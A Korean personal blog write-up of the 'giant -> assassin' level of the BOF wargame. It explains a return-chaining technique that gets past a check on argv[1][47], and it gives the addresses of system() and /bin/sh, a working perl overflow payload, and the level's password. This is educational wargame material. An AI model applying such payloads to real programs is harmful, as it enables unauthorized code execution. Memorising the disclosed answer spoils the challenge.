심심해서 하는 블로그 :: [버퍼 오버플로우] Bof 원정대 (giant -> assassin )

1. 취약점


ㅋㅋㅋㅋㅋㅋ 아오 ㅋㅋㅋㅋㅋ 이제 RTL에 익숙해 질려하니까 no RTL이래 ㅋㅋㅋㅋ 반동분자 시끼들 ㅠㅠㅠ

일단 첫 번째 stack의 주소를 사용 못하고, 시스템 주소를 사용한 RTL 기법을 사용할 수 없다는 것이다.

하지만 argv[1][47]에만 제약을 했다는 점 고로 "\xbf"나 "\x40"을 제외한 나머지는 사용해도 상관이 없다는 점을 이용하면 된다. 적당한 걸 찾아야 하는데..


$ bash2

$ gcc -g -o assassi1 assassin.c

$ gdb -q assassi1

(gdb) disas main



0x804851e의 RET를 주목하자. RET를 한 후에 RET를 또 만나면 4바이트를 건너 뛰어서 다음의 코드에 접근할 수 있다.  따라서 system()의 주소를 argv[1][51]에 위치시켜서 RET 두 번 만난 애가 이 코드에 접근할 수 있게 Exploit을 해보자 각각의 시스템 주소는 이 전 단계를 참고해주세요

system() 주소 : 0x40058ae0

/bin/sh 의 주소 : 0x400fbff9

exit()의 주소 : 0x400391e0

new Return Address : 0x0804851e


2. Exploit

1. 바로 괴롭힌다.(응??!)

$ ./assassin `perl -e 'print "A"x44,"\x1e\x85\x04\x08", "\xe0\x8a\x05\x40","\xe0\x8a\x05\x40", "\xf9\xbf\x0f\x40"'`


2. 결과


id :  assassin   passwd : pushing me away

정말 레벨을 거듭하면서 느끼지만 공격 기법을 최초로 고안한 사람은 정말 대단하거 같다..

 

,